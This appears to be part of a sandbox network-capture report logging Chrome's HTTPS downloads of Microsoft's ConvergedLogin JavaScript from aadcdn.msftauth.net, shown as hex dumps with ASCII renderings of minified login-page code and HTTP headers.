2024-12-09 23:07:17 UTC	16383	IN	Data Raw: 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 31 37 Data Ascii: _E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"8004117
2024-12-09 23:07:18 UTC	16383	IN	Data Raw: 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 7d Data Ascii: UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0}
2024-12-09 23:07:18 UTC	16383	IN	Data Raw: 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 6e Data Ascii: o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ign
2024-12-09 23:07:18 UTC	16383	IN	Data Raw: 53 2e 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 Data Ascii: S.m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function
2024-12-09 23:07:18 UTC	4	IN	Data Raw: 6e 73 65 74 Data Ascii: nset
2024-12-09 23:07:18 UTC	16383	IN	Data Raw: 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 7c 7c 21 53 2e Data Ascii: ")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e\|\|!S.
2024-12-09 23:07:18 UTC	16383	IN	Data Raw: 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 68 69 73 2e Data Ascii: i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},this.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49873	152.199.21.175	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:07:22 UTC	637	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:07:22 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2656941 Cache-Control: public, max-age=31536000 Content-MD5: jbC9GEhrwCJDWw8N8erxdQ== Content-Type: application/x-javascript Date: Mon, 09 Dec 2024 23:07:22 GMT Etag: 0x8DCFAB2EEF1B69A Last-Modified: Fri, 01 Nov 2024 20:22:39 GMT Server: ECAcc (lhc/7970) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 42bb63b7-701e-002b-4d64-3201ab000000 x-ms-version: 2009-09-19 Content-Length: 450033 Connection: close
2024-12-09 23:07:22 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-09 23:07:23 UTC	16383	IN	Data Raw: 44 49 4e 47 5f 4e 4f 54 5f 41 4c 4c 4f 57 45 44 3a 22 38 30 30 34 37 38 44 37 22 2c 50 50 5f 45 5f 49 44 50 5f 42 49 4e 44 49 4e 47 5f 45 58 49 53 54 53 5f 53 41 4d 53 55 4e 47 3a 22 38 30 30 34 34 35 33 45 22 2c 50 50 5f 45 5f 54 52 41 4e 53 46 45 52 5f 54 4f 4b 45 4e 5f 49 4e 56 41 4c 49 44 5f 53 45 53 53 49 4f 4e 3a 22 38 30 30 34 33 35 41 30 22 7d 2c 6e 2e 45 73 74 73 45 72 72 6f 72 3d 7b 55 73 65 72 41 63 63 6f 75 6e 74 53 65 6c 65 63 74 69 6f 6e 49 6e 76 61 6c 69 64 3a 22 31 36 30 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 22 35 30 30 32 30 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 70 69 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 22 35 30 30 32 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a Data Ascii: DING_NOT_ALLOWED:"800478D7",PP_E_IDP_BINDING_EXISTS_SAMSUNG:"8004453E",PP_E_TRANSFER_TOKEN_INVALID_SESSION:"800435A0"},n.EstsError={UserAccountSelectionInvalid:"16001",UserUnauthorized:"50020",UserUnauthorizedApiVersionNotSupported:"500201",UserUnauthoriz
2024-12-09 23:07:23 UTC	16383	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b 70 75 73 68 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 70 75 73 68 53 74 61 74 65 28 65 2c 6e 29 7d 2c 72 65 70 6c 61 63 65 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 65 2c 6e 29 7d 7d 2c 61 64 64 45 76 65 6e 74 4c 69 73 Data Ascii: document.defaultView.getComputedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:{pushState:function(e,n){T.isHistorySupported()&&u.history.pushState(e,n)},replaceState:function(e,n){T.isHistorySupported()&&u.history.replaceState(e,n)}},addEventLis
2024-12-09 23:07:23 UTC	16383	IN	Data Raw: 74 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c 28 6e 2e 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 3d 21 30 29 2c 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 3d 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 7c 7c 69 2e 45 76 65 6e 74 4c 65 76 65 6c 2e 49 6e 66 6f 2c 7b 76 69 65 77 4d 6f 64 65 6c 3a 65 2c 74 72 61 63 69 6e 67 4f 70 74 69 6f 6e 73 3a 6e 7d 7d 2c 73 2e 67 65 74 44 65 66 61 75 6c 74 54 65 78 74 42 6f 78 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e Data Ascii: tPropertyLogOption=function(e,n){return(n=n\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|(n.tracingPropertyChange=!0),n.eventLevel=n.eventLevel\|\|i.EventLevel.Info,{viewModel:e,tracingOptions:n}},s.getDefaultTextBoxPropertyLogOption=function(e,n){return(n
2024-12-09 23:07:23 UTC	16383	IN	Data Raw: 76 61 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 7c 7c 22 22 2c 69 3d 65 2e 70 75 72 70 6f 73 65 7c 7c 63 2e 50 61 73 73 77 6f 72 64 2c 61 3d 65 2e 70 72 6f 6f 66 54 79 70 65 2c 6f 3d 65 2e 70 72 6f 6f 66 44 61 74 61 7c 7c 22 22 2c 72 3d 65 2e 69 73 45 6e 63 72 79 70 74 65 64 2c 73 3d 65 2e 75 69 4d 6f 64 65 2c 64 3d 65 2e 6c 63 69 64 2c 6c 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 7c 7c 22 22 2c 70 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 43 6f 64 65 7c 7c 22 22 2c 6d 3d 65 2e 75 6e 61 75 74 68 53 65 73 73 69 6f 6e 49 64 2c 62 3d 65 2e 70 72 6f 6f 66 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 2c 76 3d 65 2e 63 61 6e 61 72 79 46 6c 6f 77 54 6f 6b 65 6e 3b 74 68 69 73 5b 75 2e 55 73 65 72 6e 61 6d 65 5d Data Ascii: var n=e.username\|\|"",t=e.flowToken\|\|"",i=e.purpose\|\|c.Password,a=e.proofType,o=e.proofData\|\|"",r=e.isEncrypted,s=e.uiMode,d=e.lcid,l=e.phoneCountry\|\|"",p=e.phoneCountryCode\|\|"",m=e.unauthSessionId,b=e.proofConfirmation,v=e.canaryFlowToken;this[u.Username]
2024-12-09 23:07:23 UTC	5	IN	Data Raw: 65 3f 67 2e 63 Data Ascii: e?g.c
2024-12-09 23:07:23 UTC	16383	IN	Data Raw: 6c 6f 6e 65 28 67 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 69 26 26 28 69 2e 75 6e 73 61 66 65 5f 75 73 65 72 6e 61 6d 65 3d 6e 29 2c 6c 6e 28 65 2c 69 2c 21 30 2c 6c 2e 45 76 65 6e 74 49 64 73 2e 52 65 64 69 72 65 63 74 5f 4f 74 68 65 72 49 64 70 52 65 64 69 72 65 63 74 69 6f 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 74 6e 28 65 2c 6e 2c 74 29 7b 74 3d 74 7c 7c 6c 65 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 75 73 65 72 6e 61 6d 65 22 29 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 6c 6f 67 69 6e 5f 68 69 6e 74 22 29 3b 76 61 72 20 69 3d 70 65 3f 67 2e 63 6c 6f 6e 65 28 70 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 6e 26 26 28 6e 2e 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 3d 3d 3d 53 2e 4e 6f 74 45 78 69 73 74 7c 7c 6e 2e 49 73 55 6e 6d 61 6e 61 67 Data Ascii: lone(ge):null;return i&&(i.unsafe_username=n),ln(e,i,!0,l.EventIds.Redirect_OtherIdpRedirection)}function tn(e,n,t){t=t\|\|le,t=p.remove(t,"username"),t=p.remove(t,"login_hint");var i=pe?g.clone(pe):null;return n&&(n.IfExistsResult===S.NotExist\|\|n.IsUnmanag
2024-12-09 23:07:23 UTC	16383	IN	Data Raw: 6f 77 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 68 3d 65 2e 68 69 64 65 43 72 65 64 53 77 69 74 63 68 4c 69 6e 6b 2c 5f 3d 65 2e 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 2c 43 3d 65 2e 73 65 74 46 6f 63 75 73 2c 53 3d 74 2e 73 74 72 2c 78 3d 74 2e 75 72 6c 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 77 3d 74 2e 73 53 69 74 65 49 64 2c 79 3d 74 2e 73 43 6c 69 65 6e 74 49 64 2c 6b 3d 74 2e 73 46 6f 72 77 61 72 64 65 64 43 6c 69 65 6e 74 49 64 2c 50 3d 74 2e 73 4e 6f 50 61 42 75 62 62 6c 65 56 65 72 73 69 6f 6e 2c 54 3d 74 2e 66 53 68 6f 77 53 69 67 6e 49 6e 4f 70 74 69 6f 6e 73 41 73 42 75 74 74 6f 6e 2c 44 3d 74 2e 66 4f 66 66 6c 69 6e 65 41 63 63 6f 75 6e 74 56 69 73 69 62 6c 65 2c 45 3d 74 2e 66 55 73 65 43 65 72 74 69 66 69 63 61 74 65 49 6e 74 Data Ascii: owForgotUsername,h=e.hideCredSwitchLink,_=e.ariaDescribedBy,C=e.setFocus,S=t.str,x=t.urlForgotUsername,w=t.sSiteId,y=t.sClientId,k=t.sForwardedClientId,P=t.sNoPaBubbleVersion,T=t.fShowSignInOptionsAsButton,D=t.fOfflineAccountVisible,E=t.fUseCertificateInt
2024-12-09 23:07:23 UTC	16383	IN	Data Raw: 68 69 73 2e 6e 61 6d 65 3d 22 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 22 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 22 43 61 6e 61 72 79 20 76 61 6c 69 64 61 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 75 73 65 72 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 72 65 71 75 69 72 65 64 2e 22 2c 74 68 69 73 2e 73 74 61 63 6b 3d 28 6e 65 77 20 45 72 72 6f 72 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 69 6e 6e 65 72 45 72 72 6f 72 3d 65 2c 74 68 69 73 2e 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 56 69 65 77 49 64 3d 6e 2c 74 68 69 73 2e 70 6f 73 74 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 41 63 74 69 6f 6e 3d 74 7d 2c 65 2e 65 78 70 6f 72 74 73 3d 6c 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 33 29 2c 61 3d 74 28 37 29 2c 6f 3d Data Ascii: his.name="CanaryValidationError",this.message="Canary validation failed, user confirmation required.",this.stack=(new Error).stack,this.innerError=e,this.confirmationViewId=n,this.postConfirmationAction=t},e.exports=l},function(e,n,t){var i=t(3),a=t(7),o=
2024-12-09 23:07:23 UTC	16383	IN	Data Raw: 78 70 6f 72 74 73 3d 73 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 77 69 6e 64 6f 77 3b 74 2e 70 3d 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 43 64 6e 2c 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 49 6d 61 67 65 50 61 74 68 3d 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 43 64 6e 2b 22 69 6d 61 67 65 73 2f 22 3b 76 61 72 20 61 3d 74 28 32 29 2c 6f 3d 74 28 37 30 29 2c 72 3d 74 28 30 29 2c 73 3d 74 28 31 29 2c 63 3d 74 28 37 33 29 2c 64 3d 74 28 37 29 2c 6c 3d 74 28 37 34 29 3b 74 28 31 38 29 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 77 69 6e 64 6f 77 2e 53 65 72 76 65 72 44 61 74 61 29 3b 76 61 72 20 75 3d 72 2e 4c 6f 67 69 6e 4d 6f 64 65 2c 70 3d 73 2e 48 65 6c 70 65 72 2c 66 3d 73 2e 51 75 65 72 79 53 74 72 69 6e Data Ascii: xports=s},function(e,n,t){var i=window;t.p=i.ServerData.urlCdn,i.ServerData.urlImagePath=i.ServerData.urlCdn+"images/";var a=t(2),o=t(70),r=t(0),s=t(1),c=t(73),d=t(7),l=t(74);t(18).getInstance(window.ServerData);var u=r.LoginMode,p=s.Helper,f=s.QueryStrin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49882	152.199.21.175	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:07:25 UTC	412	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:07:26 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2656945 Cache-Control: public, max-age=31536000 Content-MD5: jbC9GEhrwCJDWw8N8erxdQ== Content-Type: application/x-javascript Date: Mon, 09 Dec 2024 23:07:26 GMT Etag: 0x8DCFAB2EEF1B69A Last-Modified: Fri, 01 Nov 2024 20:22:39 GMT Server: ECAcc (lhc/7970) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 42bb63b7-701e-002b-4d64-3201ab000000 x-ms-version: 2009-09-19 Content-Length: 450033 Connection: close
2024-12-09 23:07:26 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-09 23:07:26 UTC	1	IN	Data Raw: 44 Data Ascii: D
2024-12-09 23:07:26 UTC	16383	IN	Data Raw: 49 4e 47 5f 4e 4f 54 5f 41 4c 4c 4f 57 45 44 3a 22 38 30 30 34 37 38 44 37 22 2c 50 50 5f 45 5f 49 44 50 5f 42 49 4e 44 49 4e 47 5f 45 58 49 53 54 53 5f 53 41 4d 53 55 4e 47 3a 22 38 30 30 34 34 35 33 45 22 2c 50 50 5f 45 5f 54 52 41 4e 53 46 45 52 5f 54 4f 4b 45 4e 5f 49 4e 56 41 4c 49 44 5f 53 45 53 53 49 4f 4e 3a 22 38 30 30 34 33 35 41 30 22 7d 2c 6e 2e 45 73 74 73 45 72 72 6f 72 3d 7b 55 73 65 72 41 63 63 6f 75 6e 74 53 65 6c 65 63 74 69 6f 6e 49 6e 76 61 6c 69 64 3a 22 31 36 30 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 22 35 30 30 32 30 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 70 69 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3a 22 35 30 30 32 30 31 22 2c 55 73 65 72 55 6e 61 75 74 68 6f 72 69 7a 65 Data Ascii: 